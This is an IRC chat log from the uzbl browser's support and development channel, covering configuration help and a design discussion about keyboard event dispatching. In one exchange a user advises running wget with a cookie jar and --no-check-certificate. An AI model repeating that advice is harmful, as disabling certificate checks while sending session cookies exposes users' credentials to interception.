09:12 < MichaelRaskin> In sample configs
09:12 < hatten> yeah
09:12 < hatten> fl
09:12 < hatten> thanks
09:12 < hatten> wow, cool, ive never surfed lie this before =D
09:13 < Hunner> vimperator in firefox is similar
09:14 < hatten> yeah, ive read about it but never tested it
09:14 < hatten> so nice not having to reach for the mouse
09:16 < hatten> im not gonna try open a porn site again until i got something similar to adblock and noscript
09:16 < hatten> !
09:16 < Hunner> using tablet atm. so not nice not having a keyboard to reach for >_<
09:16 < hatten> i can understand that =P
09:17 < Hunner> ...in Xmonad too
09:18 < Hunner> my normal lappy with uzbl died :(
09:18 < hatten> gotta change keybindings in musca, im starting to get so comfy  i dont even wanna reach for anything else than the letter part of my keyboard
09:18 < hatten> ouch
09:18 < hatten> but that means...you can take it apart! wohoo
09:20 < Hunner> it's in the shop under warranty
09:20 < hatten> awww
09:20 < hatten> boring
09:20 < Hunner> hows musca?
09:22 < hatten> its good
09:23 < hatten> its the only wm ive tried except for those in kde and gnome so i have nothing to compare to
09:23 < hatten> and i havent even touched the configs =D
09:23 < hatten> but its definitely usable
09:23 < hatten> its simple and doesnt waste screenspace
09:24 < hatten> and its an archer thats developing it ;)
09:25 < Hunner> it's framed, which is the only way to go, like dwm, xmonad, awesome, etc.
09:25 < hatten> yeah, i hate havingn to use windows cause it aint tiled
09:29 < hatten> btw, whats the difference between manual and dynamic tiling?
09:31 < Hunner> dunno
09:31 < hatten> xmonad is dynamic and musca is manual =p
09:41 < rob|> morning.
09:41 < hatten> morning
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09:46 < rob|> hatten: dynamic tiling == you chose a layout from a set of predifined ones and let the WM do all the work
09:46 < hatten> aha
09:46 < rob|> no need to manually split the views, etc.
09:46 < hatten> oh ok
09:47 < hatten> sounds pretty stupid, but i guess its pretty good as wms like those are popular
09:48 < rob|> it is, xmonad offers layout combinators so you can arrange different layouts in any way you like into one workspace
09:58 < DuClare> It's very smart
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12:27 < hatten> where should i put the sample scripts for them to be recognized on arch linux?
12:27 < hatten> recognized when launching uzbl normally
12:27 < jelly12gen> check the config
12:29 < hatten> uhh, which, where?
12:29 < jelly12gen> /usr/share/uzbl/data/blabla
12:29 < jelly12gen> read the readme
12:29 < hatten> i did
12:29 < hatten> there no readme/config in data
12:30 < hatten> what i want to know is where the xdg thingy is by default
12:30 < hatten> xdg_data_home and those
12:30 < hatten> i can set them with a commando, temporary
12:30 < Dr-Horrible> http://standards.freedesktop.org/basedir-spec/basedir-spec-0.6.html
12:32 < hatten> ah thx, but how do i specify them to something else than default?
12:32 < hatten> it doesnt say that on that page
12:34 < Dr-Horrible> I think you can initialise them in your bashrc. They are just shell variables
12:34 < jelly12gen> Dr-Horrible: echo $xdg_data_home
12:34 < jelly12gen> hmm fails
12:34 < Dr-Horrible> all caps
12:35 < hatten> so adding a like like $XDG_DATA_HOME=~/uzbl/ would do the trick?
12:35 < hatten> in bashrc
12:35 < Dr-Horrible> without the dollar sign
12:35 < hatten> ah
12:35 < Dr-Horrible> when you set them it's without, when you use them it's with. I know it's weir
12:35 < Dr-Horrible> *weird
12:41 < hatten> right now i have XDG_DATA_HOME=~/.data and the data files in ~/.data/uzbl/data but it doesnt work
12:42 < hatten> isnt that how it should be?
12:42 < hatten> or do i have to tell it ~/.data/uzbl/data?
12:43 < Dr-Horrible> I have no idea how your uzbl/config looks like so i don't know
12:43 < Dr-Horrible> you don't have to use the XDG basedir spec
12:43 < hatten> its the sample data directory
12:43 < Dr-Horrible> you can use $HOME/.data/uzbl/data in your uzbl config
12:47 < hatten> but if you have to specify the full path down to the data directory inside the uzbl/ directory won't every program that uses XDG put their files there?
12:51 < Dr-Horrible> I meant in your uzbl config, so you don't use XDG* at all
12:51 < hatten> now i don't understand a thing
12:52 < hatten> i put XDG_DATA_HOME=/home/hatten/.config/uzbl/data
12:52 < hatten> XDG_CONFIG_HOME=/home/hatten/.config/uzbl/config
12:52 < hatten> in my .bashrc, sourced it and it doesnt work
12:52 < hatten> but with those two lines in front of the uzbl command it works
12:53 < hatten> werent i supposed to put those lines thereL
12:53 < hatten> wait tf
12:53 < hatten> wtf
12:53 < hatten> it doesnt work when launching in dmenu
12:54 < hatten> but it does work when launching uzbl in a termina
12:54 < hatten> l
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12:55 < Dr-Horrible> Bashrc gets sourced at login, so if you logout and back in it should work
12:56 < Dr-Horrible> Or maybe you can source your bashrc in dmenu
12:56 < hatten> i sourced it in a terminal
12:56 < hatten> and after that i could launch it with the command uzbl in a terminal
12:56 < Dr-Horrible> Then it's sourced in just that terminal
12:56 < hatten> aha
12:56 < hatten> didn't know that
12:56 < hatten> thought i t was sourced for everything
12:57 < Dr-Horrible> no, unfortunately not
12:57 < hatten> brb then while i log out and in again
12:57 < Dr-Horrible> k
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12:58 < hatten> it worked =D
12:58 < hatten> yay thanks
12:58 < Dr-Horrible> yw
12:58 < hatten> yw?
12:59 < Dr-Horrible> your welcome
12:59 < holizz> yw = you wanker
12:59 < hatten> aha
12:59 < Dr-Horrible> holizz: haha
12:59 < hatten> =p
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08:29 < bjoernfan> Is there any reason to not use uzbl with your bank and such? I guess I'm thinking of data security... Is all that up to webkit?
08:29 < Dr-Horrible> It's all up to webkit and libsoup I think
08:34 < bjoernfan> So, uzbl is considered as safe as Safari?
08:34 < Dr-Horrible> I think so but me's no dev so I have no idea
08:34 < Dr-Horrible> Im just guessing
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11:01 < Dieterbe> good morning ladies
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11:04 < Dr-Horrible> Morning
11:05 < Frots> morning
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11:40 < bjoernfan> Dieterbe: Please check my question from a few hours ago in backlog. :)
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11:43 < Dieterbe> i wouldn't trust it yet.  but then again i'm a paranoid guy
11:43 < Dieterbe> my biggest concern are cookies
11:44 < Dr-Horrible> Just use the whitelist and don't whitelist your bank
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11:45 < Dieterbe> heh
11:45 < Dieterbe> that will break your online banking i guess
11:45 < Dr-Horrible> Nops
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13:32 < mason-l> Hey guys.
13:32 < Frots> hey mason-l
13:52 < Dieterbe> hi
13:56 < DuClare> Hello o/
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15:22 < Dr-Horrible> The font in uzbl is bigger on my laptop then on my desktop, weird
15:22 < jelly12gen> dpi ?
15:22 < jelly12gen> resolution ?
15:23 < Dr-Horrible> it has a higher dpi, so the font should be smaller right
15:23 < DuClare> No
15:24 < DuClare> Higher DPI -> the system tries to scale accordingly
15:24 < Dr-Horrible> Its just fgoogle :(
15:24 < DuClare> I'm not sure as to whhether it can do accurate scaling or if it picks the closest specified DPI
15:25 < DuClare> (So it could be a jump from 90 dpi to 120 dpi)
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16:16 < Dieterbe> Frots: you feeling ok?
16:17 < Frots> yeah
16:17 < Frots> sorry
16:18 < Frots> offtopic channels...
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18:23 < quantax> how do I bind something to the spacebar?
18:24 < MichaelRaskin> quantax, I guess you migrate to "socket events" branch.
18:24 < MichaelRaskin> I.e. master-branch "bind" doesn't allow binding to spacebar
18:25 < quantax> and what would be the syntax for binding it in the "socket events" branch? bind <space> = ...?
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21:32 < ruskie> hmm I wonder if uzbl would work on the N900
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21:58 < alip> sure why not
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22:44 < Dieterbe> hey ruskie , in fact a dev from Mer was interested in making uzbl the default browser for Mer, or something like that
22:45 < Dieterbe> but i told him i didn't think that would be a very good idea.
22:45 < Dieterbe> anyway yeah the n900 will be awesome, i'm so going to buy it. and it looks to be easy to port gtk apps to hildon/maemo/whatever
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22:49 < ruskie> Dieterbe, I've been drooling over it ever since the announce :)
22:49 < ruskie> I just hope the 2-4 days with active tcp/ip connections is going to be true
22:49 < ruskie> and I do hope uzbl will be possible on it :)
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22:50 < Dieterbe> 2-4 days? you mean without battery recharge?
22:51 < scj> what is Mer?
22:51 < Dieterbe> uzbl should be possible, but then you need to draw a widget layer (because commandline based control isn't very feasible on such a device), which makes it kinda messy
22:52 < Dieterbe> not really sure myself, i think it's supposed to be some community maintained maemo alternative (that is still in early phase of development btw)
22:55 < ruskie> yeah
22:55 < ruskie> it's community based thing
22:56 < ruskie> Dieterbe, yeah 2-4 without recharge
22:56 < ruskie> for active tcp/ip connections
22:56 < ruskie> but I guess most of the device in idle
22:56 < ruskie> i.e. screen off and such
22:57 < ruskie> and by cmd line you mean the vim like interface? don't see why not... there is a HW keyboard ;)
22:57 < ruskie> anyway heading to bed
23:00 < Dieterbe> hmm now you mention it
23:01 < Dieterbe> i was more assuming a touchscreen based interface, you know
23:01 < Dieterbe> i wonder if i'll actually be able to type normally on that keyboard. you know with all 10 fingers and stuff
23:01 < Dieterbe> in that case the keyboard interface would work well
23:02 < Dieterbe> but if the keyb is so small that you need to press key by key carefully, then a touchscreen interface would work beter
23:02 < Dieterbe> better*
23:05 < scj> get N30N_ to write a js gesture script
23:09 < Dieterbe> anyway i'm off
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09:43 < mason-l> Dieterbe, I've fixed up cookie_daemon.py to use only the "RELOAD" command but I'm having trouble using socat
09:45 < mason-l> I don't think I'm using it correctly or its detecting properly the SEQPACKET mode
09:45 < mason-l> ~ $ echo "RELOAD" | socat unix-connect:/home/mason/.cache/uzbl/cookie_daemon_socket -
09:46 < mason-l> The revised commit http://github.com/mason-larobina/uzbl/blob/77e19b4214536eaa1a227df81d957c38c39a5f6b/examples/data/uzbl/scripts/cookie_daemon.py
09:46 < mason-l> If anyone can give that a shot while I'm gone that would be great.
09:46 < scj> mason-l: wrong order. socat - unix-connect:$socket
09:47 < mason-l> scj, Still doesn't.
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09:47 < scj> odd
09:48 < ruskie> *yawn*
09:48 < mason-l> scj, Well like I mentioned, all the socket cookie handlers are using SEQPACKET sockets.
09:49 < mason-l> Also I've finally added init like {start|stop|restart} to the daemon and fixed the problem with multiple sockets starting at once.
09:49 < mason-l> s/sockets/daemons/
09:49 < mason-l> brb shopping.
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10:02 < mason-l> Back.
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10:04 < ruskie> lol
10:04 < ruskie> that was a quick shop ;)
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10:18 < mason-l> ruskie, Its handy living down the road from a supermarket :)
10:19 < ruskie> I know :)
10:19 < ruskie> I do as well
10:19 < ruskie> though accross the road in this case ;)
10:20 < ruskie> hmm uzbl needs a %-of-page marker since it has no scrollbars so that a person knows where they are on the page
10:20 < mason-l> ruskie, I'm holding out for that option also.
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12:48 < N30N_> ruskie / mason-l: there's a script on the wiki for that
12:48 < mason-l> N30N_, Just found it.
12:49 < ruskie> ?
12:49 < mason-l> Just wish we had a right-aligning status bar.
12:49 < mason-l> ruskie, http://www.uzbl.org/wiki/scroll-percentage
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12:52 < ruskie> hmm why does it need all that zoom stuff?
12:54 < N30N_> ruskie: to work around a (full zoom) WebKit bug + Uzbl not updating the zoom_level setting
12:56 < ruskie> and how can one fix it to work for a preset default zoom level?
12:57 < ruskie> I just call zoom_in in the config once
12:57 < ruskie> which gives me the perfect zoom level for my needs
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13:50 < N30N> ruskie hmm why does it need all that zoom stuff? <-- it's a workaround for WebKit reterning the wrong values when using full zoom + Uzbl not updating the zoom_level setting
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15:22 < scj> btw, what is the expected behaviour on doing 'set fifo_dir' after a fifo has already been created?
15:23 < scj> imo, it ought to stop destroy the current fifo and make a new one
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15:45 < Dieterbe> hi all
15:47 < Dr-Horrible> Hi
15:47 < twouters> Dieterbe: having a nice time @ home? :)
15:48 < Dieterbe> actually just back from MTB trip :)
15:49 < twouters> nice, I'm home too, just went to the dentist :s
15:49 < twouters> wait, mtb, in the rain?
15:50 < Dieterbe> only a tiny bit of rain
15:50 < Dieterbe> wasn't too bad
15:57 < Dieterbe> mason-l: ur commit lookz teh nice
15:58 < Dieterbe> scj: no it should "fail" on the set fifo_dir call
15:58 < Dieterbe> like, print something to stderr and keep current fifo_dir
15:59 < scj> if so, what is the point of keeping them?
15:59 < scj> they're special case variables that are only settable in the config file
16:00 < Dieterbe>  N30N> ruskie hmm why does it need all that zoom stuff? <-- it's a workaround for WebKit reterning the wrong values when using full zoom + Uzbl not updating the zoom_level setting <-- huh what? never heard of this issue. it's not in bugtracker either..
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16:00 < scj> would be better to rely on them being env vars in that case
16:01 < Dieterbe> nono, you can change them. but the new fifo file should not already exist
16:04 < scj> oh, silly me
16:10 < Alien_Technology> Hello! Is any way to get html code of loaded page using command line?
16:11 < Alien_Technology> !Nick Niev
16:11 < Alien_Technology> !Nickname Niev
16:11 < scj> Alien_Technology: http://www.uzbl.org/wiki/scripts-faq
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16:14 < Alien_Technology> Thank you :)
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16:25 < N30N> Dieterbe: yeah, never reported it soz ;)
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16:27 < mason-l> Sorry my connection was dropped, did I miss anything?
16:28 < Dieterbe> not really
16:28 < Dieterbe> i just said your commit looks nice
16:31 < mason-l> Worst case scenario I can now: bind w _ = chain 'sh echo ".%s" >> $XDG_CONFIG_HOME/uzbl/cookie_whitelist' 'sh $XDG_DATA_HOME/uzbl/scripts/cookie_daemon.py restart'
16:32  * mason-l hopes those commands work as he didn't test them.
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16:37 < Dieterbe> why not the one i wrote in my mail ? (without the chain)
16:52 < Alien_Technology> Script in "script's FAQ" is not exactly what I want. Js command makes second execution of page script (first - when page loads and this second). I want to obtain data wich contains in document.documentElement.outerHTML. How to?
16:52 < mason-l> Dieterbe, "bind w _ = 'sh echo ".%s" >> $XDG_CONFIG_HOME/uzbl/cookie_whitelist && echo RELOAD | socat - unix-connect:$XDG_CACHE_HOME/uzbl/cookie_daemon_socket'" <- Was the command I was referring to when I said I couldn't get socat working.
16:53 < scj> Alien_Technology: js is the only way to access the dom
16:55 < Alien_Technology> scj, Yes. But how to drop element value to output without running it?
16:57 < scj> umm. without running what?
16:57 < mason-l> Dieterbe, I'm looking on http://www.dest-unreach.org/socat/ and I can't even see a mention of SEQPACKET anywhere
16:59 < Alien_Technology> Without running document.documentElement.outerHTML
17:00 < Dieterbe> Alien_Technology: well you need to run/specify *something*.. how else would uzbl know what you want
17:01 < Dieterbe> mason-l: well my point was only you probably don't need the chain thing, because sh supports executing multiple things at once. i don't know about the seqpacket stuff
17:01 < mason-l> Dieterbe, Oh right sorry, I missed your point.
17:02 < mason-l> I'm still digging around in the documentation to find the type index of SEQPACKET because I found out how to set the type manually.
17:03 < Alien_Technology> I only want to dump page source into file or something.
17:03 < scj> Alien_Technology: only way you're going to access it is to run the js code
17:06 < Alien_Technology> Another way is to add @dump command which will give me page source. Isn't it?
17:08 < scj> nope. the js way or the highway, I'm afraid
17:11 < Alien_Technology> I can't find detailed description of some commands. Can you advise me some links? Or tell me about inject_html command. What it do?
17:12 < scj> inject_html has been deprecated, afaik
17:12 < scj> but the only link I can recommend is uzbl.org/readme.php
17:12 < scj> and to look at the source code
17:13 < Alien_Technology> Thanks
17:14 < Dieterbe> we deprecated inject_html in favor of some more easy way to let webkit render html
17:14 < Dieterbe> but i don't remember the exact syntax
17:14 < Dieterbe> there was a 'uzblcat' which took care of this but i don't know where it is
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18:08 < rob|> morning.
18:40 < Dieterbe> hey
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03:00 < binarymutant> why the hate on  mpd, moc, wmii, dwm, awesome, mutt, pine, vim, dmenu, screen, irssi, weechat, bitlbee in README ?
03:02 < binarymutant> oh nvm double negative :D
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04:35 < btartsa|> uzbl is very nice once you get it to a uzbl state w/ config/scripts etc!
04:35 < btartsa|> impreaaed
04:37 < btartsa|> jeez...*impressed
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05:24 < xerebz> so i'm trying to download a torrent from a secure site
05:25 < xerebz> and when i right click download linked file
05:25 < xerebz> it saves a .php file
05:25 < xerebz> how does i just download the .torrent <.<
05:26 < xerebz> actually it's a blah.torrent?passkey=blah
05:31 < mason-l> xerebz, Simple
05:32 < mason-l> Make a download script that passes your cookie jar to wget.
05:33 < mason-l> wget <download-loation> --load-cookies=$XDG_DATA_HOME/uzbl/cookies.txt --no-check-certificate
05:35 < mason-l> xerebz, Just modify line 6 of download.sh in your scripts folder with those options above.
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05:59 < xerebz> i added that to my uzbl download.sh
05:59 < xerebz> and it didn't change anything
06:00 < xerebz> GET="wget --user-agent=Firefox --load-cookies=$XDG_DATA_HOME/uzbl/cookies.txt --no-check-certificate"
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06:39 < L29Ah> worksforme
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10:31 < rob|> morning.
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10:36 < Dieterbe> conichuwaaa
10:36 < ruskie> lo
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20:12 < xerebz> how do i make the name of uzbl not be Uzbl browser <number>
20:12 < xerebz> i'd like it to just be Uzbl
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20:20 < Dieterbe> rob|: for the keybindings, should i look how xbindkeys does it?
20:20 < Dieterbe> i mean in their source
20:20 < Dieterbe> because the way they do it seems pretty good to me
20:22 < Dieterbe> this is funny. i already extracted the xbindkeys source code on my pc january 21st.. that was before uzbl was created.  i wonder what the hell i needed that for ..
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21:01 < alphakamp> Deepspawn: i coudlnt type in commands and your bar was scrambled text
21:01 < alphakamp> looks like aur version of uzbl-git was synced 8-26
21:02 < Deepspawn> alphakamp, Ah, let me try updating
21:02 < Deepspawn> also check proxy part, it only works if yo're running polipo
21:03 < alphakamp> your older config is fine, except the toggle_insert_mode wasnt working
21:03 < alphakamp> Deepspawn: ah polipo, i odnt know what that is so..
21:04 < Deepspawn> polipo: caching proxy that can also be used to filter some ads
21:04 < alphakamp> is taht diff package?
21:05 < Deepspawn> yes but it's not required, just comment the lines that are proxy related
21:05 < alphakamp> yeah i have commented it, but i actually need socks proxy
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21:06 < Deepspawn> then you only need the set proxy blablah
21:07 < alphakamp> i dont need the polipo?
21:07 < Deepspawn> no
21:08 < alphakamp> ok, ill try to get taht working again, but before that i need insertmode working, and i would like to have the number follow links working
21:10 < Deepspawn> You don't need the polipo at all, check the paths and stuff
21:12 < Deepspawn> Check the example config that comes with uzbl,  it sould be somewhere like /usr/local/share/uzbl/examples/config/uzbl/config Mine have very few modifications over that
21:17 < alphakamp> hmm ill just splice your config with the example till i get what i want
21:18 < Deepspawn> I have to do that everytime awesome changes config, not so bad with uzbl so far.
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22:57 < xerebz> is there a way to make pages with an autofocus turn insert on automatically?
22:57 < xerebz> like in vimperator?
22:57 < xerebz> or when clicking a textbox automatically switch to insert?
23:01 < scj> it's possible with some js hijinxin'
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23:06 < xerebz> :\
23:08 < N30N_> xerebz: for click auto insertmode -> http://pastebin.com/d100adfb (also has middle click go to uri for clipboard).
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23:09 < evaryont> two things that annoy me: uzbl's default configuration allows virtually scrolling off the actual page and that uzbl (indirectly) depends on gconfd :/
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23:16 < Dieterbe> uzbl does not depend on gconf
23:17 < Dr-Horrible> webkit does
23:17 < Dieterbe> nu-uh
23:17 < Dieterbe> webkit depends on libsoup
23:17 < Dieterbe> and libsoup can be compiled without gconf
23:20 < noisetonepause> newest ubuntu webkits seem to depend on gnome-keyring
23:21 < xerebz> nice N30N_
23:21 < Dieterbe> ..ubuntu ..
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23:21 < noisetonepause> ubuntu.
23:22 < noisetonepause> it's just a stopgap
23:22 < noisetonepause> till openbsd gets apci sleep or netbsd gets wireless drivers for my laptop
23:23  * noisetonepause makes excuses for his operating system
23:24 < xerebz> and where do i put this code, N30n_ ?
23:35 < N30N> xerebz: oh load it with the load_commit_handler
23:41 < xerebz> sry i'm too nub for that to make sense ;\
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23:43 < N30N> xerebz: save as $XDG_DATA_HOME/uzbl/scripts/mouse_clicks.js then add the following to ur config.. set load_commit_handler = script XDG_DATA_HOME/uzbl/scripts/mouse_clicks.js
23:46 < N30N> s/script XDG_DATA_HOME/script $XDG_DATA_HOME/
23:47 < N30N> soz, am wacked out here (just about the go to sleep :))
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23:48 < evaryont> If I understand history_handler correctly, every time I visit a page, the script is executed?
23:50 < xerebz> is there a way to make the name of uzbl windows be Blah instead of Blah - Uzbl browser <number>
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23:50 < evaryont> xerebz: check your configuration file
23:51 < evaryont> $XDG_CONFIG_HOME/uzbl/config
23:51 < xerebz> under what setting?
23:52 < N30N> evaryont: it fired when the page had finished loading (but it's getting/been removed you should use the load_commit_handler)
23:53 < evaryont> xerebz: title_format_* (short or long)
23:53 < evaryont> N30N: k, thanks.
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00:09 < N30N> evaryont: I forgot to say the URI setting dose not get updated till after the load_commit_handler so you need to use <@ location.href @> (or just the load_commit_handler and @URI will work fine)
00:09 < N30N> anyway moff to sleep now, laterz
00:13 < evaryont> N30N: not worried about writing a script
00:13 < evaryont> N30N: at least for history management
00:13 < evaryont> just wondering where it's called, for my URL opening script :)
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00:23 < evaryont> anyone here have exp with Ruby? I'd like to pass a bunch of strings to dmenu, and capture it's output, but I don't know how.
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01:25 < evaryont> how do I get the URL from the command line? `uzblctrl -c 'print @uri'` doesn't work.
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01:32 < scj> uzblctrl needs a socket
01:35 < evaryont> scj: I didn't add that for brevity. even with -s /... passed, it doesn't work
01:36 < scj> evaryont: but if you are writing a script in ruby, you should probably communicate via the socket instead
01:36 < evaryont> scj: nah, this is a separete thing (I found the load_from_* sample scripts >.<)
01:37 < scj> evaryont: also, uzblctrl has been deprecated, use socat instead
01:37 < evaryont> socat? k.
01:38 < scj> it's in extra. usage is a bit different; echo set foo = bar | socat - unix-connect:$socket
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01:54 < xerebz> how do i set a bind that involves the modkey?
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01:54 < xerebz> how do i set a bind that involves the modkey?
01:55 < xerebz> basically i want ctrl+t to open a new window
02:07 < scj> xerebz: http://www.uzbl.org/wiki/configtricks
02:07 < scj> some control characters don't work, though
02:08 < xerebz> N30N, you there?
02:08 < xerebz> thanks, scj
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02:33 < xerebz> is the go* from vimperator implemented in uzbl?
02:41 < scj> xerebz: afaik no, but it shouldn't be that difficult to do
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13:14 < mason-l> axionix, Hey buddy.
13:23 < rob|> hey everybody ;)
13:23 < rob|> the channel got rather quiet lately..
13:28 < Dieterbe> yeah indeed. i was just wondering why that was
13:29 < rob|> well, at least i'm almost ready job-wise so hopefully i'll have more time for uzbl hacking :)
13:29 < Dieterbe> rob|: be carefull with statements like that. projects can be "90% complete" for a loong time ;)
13:30 < rob|> actually i'd like to reach a consesus on the whole event and keybinding stuff
13:32 < Dieterbe> did you see my question yesterday? i was wondering how much the source code of xbindkeys would help us. because afaik their syntax is pretty nice and it supports all x keysyms
13:35 < rob|> yeah, saw it, though that still means that uzbl has a builtin key parser
13:35 < rob|> i'd like to outsource that thing
13:36 < Dieterbe> outsource as is "use a different (make a new separate) C library" or as in "make a separate _program_" ?
13:37 < rob|> we could have both or either one, though i guess we should start with a separate programm
13:39 < Dieterbe> why do you think that would be better? (i guess you have your new event thing in mind?)
13:40 < rob|> because that would get rid of a lot of issues we seem to have with implementing such a key parser
13:41 < rob|> also we could have many parsers that work in different ways
13:41 < rob|> i.e. a parser that tab completes commands, etc.
13:44 < rob|> how would you implement such a thing with a builtin key parser?
13:45 < mason-l> How would you tab complete commands with tabs in them?
13:45 < rob|> commands with tabs in them? who would want such a thing?
13:45 < mason-l> :)
13:46 < rob|> anyways, the logic of the parser could be virtually anything so maybe someone comes up with a good solution for that
13:46 < rob|> as far as we just provide the means for it
13:47 < mason-l> I would really love to see the ability to completely customise the right click menu.
13:47 < rob|> yeah, not a big think we'd just need a command to add/remove entries
13:48 < rob|> like:  menu_new caption action
13:48 < rob|> and the caption would be the key that allows us to identify the corresponding entry
13:49 < mason-l> rob|, One thing it would need though is context aware menu item config (i.e. menu {image|normal|binary} context = command )
13:50 < mason-l> s/context/caption/
13:51 < rob|> right, so a set of menu commands for the 3 cases you wrote
13:51 < Dieterbe> rob|: good point about the external one
13:51 < Dieterbe> i mean, the flexibility it brings
13:53 < Dieterbe> so we need a way to "stream" all input from the user to another program through a socket/fifo ?
13:53 < rob|> right, my event-messages branch already has that ability
13:53 < Dieterbe> hmmm i should look up if gtk supports a way to send all keyboard input to another client or something.  in our case it would be nice to not send keyboard input to the focused window, but another program
13:54 < rob|> we'd just need to integrate it with fifos/sockets
13:54 < rob|> currently it only works with stdout
13:55 < mason-l> rob|, Actually to change what I said above the binary case is incorrect. The three are normal, image & link not binary.
13:56 < rob|> oh yeah
13:57 < nubs> you'd probably want a "selection" case as well for when someone has selected text
13:57 < rob|> point!
13:58 < Dieterbe> i guess the webkit api will make it clear how we need to expose this
13:58 < rob|> iirc the menu entries can be bound to callbacks which makes thinks pretty easy...
14:00 < rob|> Dieterbe: as for the events we could either use a method similar to talk_to_socket i.e. group events types on different sockets/fifos or use an even simple dispatcher like thing
14:01 < rob|> uzbl | dispatcher  where dispatcher calls different programms depending on the vent type
14:02 < Dieterbe> ok hold on. so your 2nd example, the dispatcher: in this case the user writes the dispatcher and this will probably be a script that does whatever is needed to respond on the input from the user?
14:02 < rob|> or even 'uzbl > fifo; tail -f fifo | dispatcher' that would also scale with many instances
14:03 < rob|> Dieterbe: exactl<
14:03 < rob|> *exactly
14:03 < Dieterbe> ok hold on. 'uzbl > fifo; tail -f fifo | dispatcher' , this is functionality wise exactly the same as 'uzbl | dispatcher' ? (assuming fifo is a fifo)
14:04 < Dieterbe> i didn't know you could do that :)
14:04 < rob|> almost
14:04 < rob|> you could have many processes read/write to the fifo that way
14:05 < Dieterbe> yeah okay
14:05 < Dieterbe> but other then that..
14:05 < rob|> other than that it would be the same, yeah
14:05 < Dieterbe> cool. ok next question
14:05 < Dieterbe> what did you mean with event type?
14:06  * Dieterbe googles around a bit for Xorg events
14:06 < rob|> well, my mail to the ML explains it all. http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-August/000261.html
14:07 < Dieterbe> hey, i just found out you can attach xev to existing windows..
14:07 < rob|> to sum it um quickly, uzbl generates different events (event types) like keyboard events, load_(commit|start|finish), etc.
14:08 < Dieterbe> oh i thought you were talking about Xorg events. okay
14:09 < rob|> no, the user should need to mess with those. we'll just format up any needed event nicely and present it to the user
14:09 < rob|> *shouln't
14:09 < rob|> brrr, this laptop keyboard sucks...
14:09 < Dieterbe> okay that sounds good
14:13 < rob|> right, also writing the event parser in perl/python/... i.e. a language better suited to text processing should be far easier and also lead to cool results pretty quickly
14:16 < rob|> and don't forget: you can always blame someone else if something with the event handling doesn't work as it should ;)
14:17 < rob|> no seriously, the cool thing is that we wouldn't need to change uzbl itself in any way in order to fix bugs in there or add new features
14:18 < Dieterbe> remember the "our config file should be in JS/python/.." discussions? i'm starting to get the feeling this is the ideal way to achieve that: let uzbl only do actual rendering and pass on the rest to whatever the user wants
14:18 < mason-l> rob|, And I can help in the python department.
14:18 < Dieterbe> or am i forgetting something?
14:18 < mason-l> Between the cookie_daemon.py & uzbl_tabbed.py I've got both socket & fifo communication back and forth from uzbl covered.
14:19 < mason-l> Dieterbe, Thats an interesting concept.
14:19 < rob|> yep, that's why i strongly vote for something like message passing
14:20 < rob|> i mean what could be simpler than processing a couple of well defined strings?
14:20 < rob|> s/processing/parsing/
14:20 < Dieterbe> writing a config file in a static format ;) (both simpler and less flexible)
14:22 < Dieterbe> rob|: can you estimate how much LoC it would take to write the "catch all relevant Xorg events and generate appropriate uzbl events for them" code?
14:23 < rob|> well, once again look at my code. all it takes is a simple function that builds up the event strings and a call to that in all apopiate places in the code
14:23 < Dieterbe> oh, sorry. i shall give it a good look
14:24 < mason-l> rob|, Which branch was this?
14:24 < rob|> event-messages
14:24 < Dieterbe> also, do we plan to use the dispatcher also for the actual config stuff? (bind, set, uri, ..)
14:24 < rob|> i recommend to simply start uzbl from a terminal and watch its stdout during a typical browsing session
14:25 < rob|> Dieterbe: actually, no. that's two different types of things
14:26 < rob|> commands are used to tell uzbl what to do, events are used to let uzbl inform you what happens
14:27 < Dieterbe> yes, good
14:27 < rob|> in a fully asynchrounous way, of course
14:28 < rob|> think of it as a dynamic and simple way of exposing the callback nature of uzbl to a text stream
14:29 < rob|> also, it would be darn easy for users to genrate their very own events using out existing 'print' command
14:32 < mason-l> very interesting work rob|.
14:33 < mason-l> I do hope the dispatcher knows where the uzbl fifo & socket locations are though.
14:34 < Dieterbe> okay, the answer to my earlier question?  2 lines of code :)
14:36 < rob|> mason-l: well, we could handle that specific issue in different ways
14:37 < rob|> mason-l: like generating a FIFO_PATH/SOCKET_PATH event or something like that whenever a new uzbl is started
14:37 < mason-l> rob|, So just to re-iterate, are we going to make an event callback like I'm seeing for LINK_HOVER, COOKIE, TITLE_CHANGED, etc for every key pressed then the dispatcher will determine if you have just typed "o google.com<Enter>" then send the "uri google.com" command to the uzbl instance?
14:37 < rob|> exactly
14:38 < mason-l> Sounds awesome
14:38 < rob|> be sure to have a look at the sample keyhandler i attached to the mail
14:38 < rob|> it does just that
14:38 < mason-l> rob|, Now I do suggest however that we have a KEY_DOWN & KEY_UP for all meta keys (i.e. ctrl, alt, super)
14:38 < rob|> right, we should have that
14:39 < mason-l> But every other key is a KEY_PRESS
14:39 < mason-l> And its the dispatchers requirement that it keep track of meta keys that are held down for "<ctrl>t" like keybindings
14:40 < rob|> yeah, that's the idea
14:40 < mason-l> rob|, I'll check out that example script of yours.
14:40 < Dieterbe> now you mention it.. we could also generate separate up and down events for _normal_ keys.  most users will not need this and only look at the down events, but i can imagine certain use cases where you want to do different things on the down and up parts
14:41 < rob|> right, that's why i'd suggest to write a new commands that allows the user to specify in which events he is interested
14:41 < Dieterbe> eg 'key_down z -> zoom in', 'key_up z -> reset zoom'
14:41 < mason-l> Dieterbe, I don't think thats necessary because of peoples key-repeat X settings.
14:41 < rob|> like 'send_event KEY_UP,KEY_PRESS myfifo' or something...
14:43 < Dieterbe> rob|: i don't know.. wouldn't it be easier to just always get everything , and ignore what you don't want?
14:43 < mason-l> Dieterbe, Because holding down a key will register just a stream of KEY_PRESS, KEY_PRESS, KEY_... of the same key.
14:43 < mason-l> .. Wont it?
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14:43 < Dieterbe> it sure does in xev :/
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14:45 < Dieterbe> well mason-l , since the user writes the dispatcher himself, he could for example write: if (event=='keydown z' && zoomed = false) { echo 'zoom in' > uzbl_fifo && zoomed = true}; if (event=='keyup z') { echo 'reset zoom' > socket && zoomed=false}
14:45 < mason-l> rob|, Which mailing list message are you talking about? My eyes are glazing over it apparently
14:46 < rob|> mason-l: http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-August/000261.html
14:49 < mason-l> rob|, I really like where this is going :)
14:49  * mason-l is getting all giddy
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14:50 < Dieterbe> mason-l: so what do you think of what i just said?
14:51 < Dieterbe> ie using a boolean to prevent problems with key-repeat
14:52 < mason-l> Dieterbe, I hadn't considered that & like the idea.
14:56 < Dieterbe> well rob| , i like this
